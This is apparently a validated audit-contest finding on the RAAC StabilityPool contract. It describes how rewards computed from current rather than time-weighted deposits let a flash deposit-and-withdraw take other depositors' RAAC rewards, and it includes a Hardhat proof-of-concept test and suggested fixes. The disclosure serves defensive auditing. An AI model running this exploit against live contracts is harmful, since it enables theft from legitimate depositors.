Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Incorrect RAAC rewards distribution allows stealing rewards via flash deposits

Summary

The StabilityPool::withdraw() function calculates RAAC rewards based on current deposits rather than time-weighted deposits, allowing users to steal rewards through flash deposits.

Vulnerability Details

The StabilityPool contract incorrectly calculates RAAC rewards in calculateRaacRewards based on the current deposit balance and total supply at the time of withdrawal, rather than tracking time-weighted deposits. This allows users to temporarily inflate their share of rewards through flash deposits.

The key issue is in StabilityPool::calculateRaacRewards():

function calculateRaacRewards(address user) public view returns (uint256) {
uint256 userDeposit = userDeposits[user];
uint256 totalDeposits = deToken.totalSupply();
uint256 totalRewards = raacToken.balanceOf(address(this));
if (totalDeposits < 1e6) return 0;
return (totalRewards * userDeposit) / totalDeposits;
}

This calculation is flawed because:

  1. It uses current deposits rather than time-weighted deposits

  2. Rewards are only distributed on withdrawal

  3. There is no minimum deposit time requirement

Proof of Concept

Add the following test to the StabilityPool.test.js file:

describe("Stealing RAAC rewards", function () {
beforeEach(async function () {
const depositAmount1 = ethers.parseEther("100");
const depositAmount2 = ethers.parseEther("100");
// Setup for user1
await crvusd.mint(user1.address, depositAmount1);
await crvusd.connect(user1).approve(lendingPool.target, depositAmount1);
await lendingPool.connect(user1).deposit(depositAmount1);
await rToken.connect(user1).approve(stabilityPool.target, depositAmount1);
// Setup for user2
await crvusd.mint(user2.address, depositAmount2);
await crvusd.connect(user2).approve(lendingPool.target, depositAmount2);
await lendingPool.connect(user2).deposit(depositAmount2);
await rToken.connect(user2).approve(stabilityPool.target, depositAmount2);
});
it("should show user2 stealing user1's rewards", async function () {
await stabilityPool.connect(user1).deposit(ethers.parseEther("100"));
await ethers.provider.send("evm_increaseTime", [86400]);
await ethers.provider.send("evm_mine");
await raacMinter.tick();
// User1 should have some rewards
const user1RewardsBeforeUser2 = await stabilityPool.calculateRaacRewards(user1.address);
expect(user1RewardsBeforeUser2).to.be.gt(0);
// User2 deposits and withdraws immediately to get rewards
const user2RewardsBefore = await raacToken.balanceOf(user2.address);
await stabilityPool.connect(user2).deposit(ethers.parseEther("100"));
await stabilityPool.connect(user2).withdraw(ethers.parseEther("100"));
const user2RewardsAfter = await raacToken.balanceOf(user2.address);
expect(user2RewardsAfter - user2RewardsBefore).to.be.gt(0);
// User1 should have less rewards after user2 steals them
const user1RewardsAfterUser2 = await stabilityPool.calculateRaacRewards(user1.address);
expect(user1RewardsAfterUser2).to.be.lt(user1RewardsBeforeUser2);
});
});

Impact

  • Legitimate long-term depositors can have their rewards stolen by attackers using flash deposits

  • The reward distribution mechanism fails to incentivize long-term deposits

  • Attackers can repeatedly execute this attack to drain accumulated rewards

Recommendations

Implement one of the following:

  1. Implement time-weighted deposits

  2. Add minimum deposit lockup period

  3. Implement continuous reward distribution using reward per share mechanism

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::calculateRaacRewards is vulnerable to just in time deposits

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.